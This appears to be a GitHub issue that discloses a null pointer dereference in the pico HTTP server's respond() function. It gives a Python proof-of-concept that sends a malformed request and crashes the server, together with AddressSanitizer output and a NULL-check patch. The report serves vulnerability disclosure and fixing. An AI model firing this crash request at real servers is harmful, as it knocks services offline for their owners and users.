-
Notifications
You must be signed in to change notification settings - Fork 30
Description
Hi!
While executing my fuzz tests, I discovered a null pointer dereference in void respond(int slot) at httpd.c, lines 201-215:
Lines 199 to 210 in f3b69a6
| val = strtok(NULL, "\r\n"); | |
| while (*val && *val == ' ') | |
| val++; | |
| h->name = key; | |
| h->value = val; | |
| h++; | |
| fprintf(stderr, "[H] %s: %s\n", key, val); | |
| t = val + 1 + strlen(val); | |
| if (t[1] == '\r' && t[2] == '\n') | |
| break; | |
| } |
Any project that utilizes pico is potentially vulnerable. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.
Makefile Modifications
The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the null pointer derefeernce:
all: server
clean:
@rm -rf *.o
@rm -rf server
server: main.o httpd.o
gcc -o server $^ -fsanitize=address -g
main.o: main.c httpd.h
gcc -c -o main.o main.c -fsanitize=address -g
httpd.o: httpd.c httpd.h
gcc -c -o httpd.o httpd.c -fsanitize=address -g
Compiling Pico
$ make
Proof of Concept Python3 Script
Save the following script to a file named poc.py. The script will send an malformed HTTP request to Pico and wait for a response:
#!/usr/bin/env python3
import socket
req = b'GET /hello HTTP/1.1\r\n%??%\x00? localhost:8000\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(req)
response = sock.recv(4096)
sock.close()
Starting Pico
./server
Executing our Python3 Script
# python3 poc.py
Address Sanitizer Output
The following output was produced by address sanitizer:
==338311==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5589921650ea bp 0x7fff005bbce0 sp 0x7fff005bbca0 T0)
==338311==The signal is caused by a READ memory access.
==338311==Hint: address points to the zero page.
#0 0x5589921650ea in respond /home/kali/projects/fuzzing/pico/httpd.c:200
#1 0x558992164199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
#2 0x5589921634d3 in main /home/kali/projects/fuzzing/pico/main.c:13
#3 0x7f0f3a8456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#4 0x7f0f3a845784 in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x5589921633b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/kali/projects/fuzzing/pico/httpd.c:200 in respond
==338311==ABORTING
ASan indicates a segmentation fault (SEGV) encountered by the program, specifically during a READ memory operation at an unknown address 0x000000000000, which is typically indicative of a null pointer dereference. The error emerged in the respond function located in httpd.c at line 200, as part of the execution flow that started from the main function in main.c at line 13, went through the serve_forever function in httpd.c at line 67, and finally reached respond. The address involved points to the zero page, a memory area that is not accessible to programs under normal circumstances, and this access is what triggered the segmentation fault.
Mitigation
The issue arises because strtok might return a NULL pointer if it doesn't find the token it's looking for, and the code isn't checking for that before dereferencing val. When you dereference a NULL pointer (as in *val), it leads to undefined behavior, often resulting in a segmentation fault. To fix this, you should check if val is NULL before attempting to use it.
Lines 199 to 210 in f3b69a6
| val = strtok(NULL, "\r\n"); | |
| while (*val && *val == ' ') | |
| val++; | |
| h->name = key; | |
| h->value = val; | |
| h++; | |
| fprintf(stderr, "[H] %s: %s\n", key, val); | |
| t = val + 1 + strlen(val); | |
| if (t[1] == '\r' && t[2] == '\n') | |
| break; | |
| } |
Updated code, preventing a null pointer dereference:
val = strtok(NULL, "\r\n");
if (val != NULL) {
// Remove leading whitespaces by advancing the pointer
while (*val && *val == ' ') {
val++;
}
h->name = key;
h->value = val;
h++;
fprintf(stderr, "[H] %s: %s\n", key, val);
t = val + 1 + strlen(val);
if (t[1] == '\r' && t[2] == '\n')
break;
}
}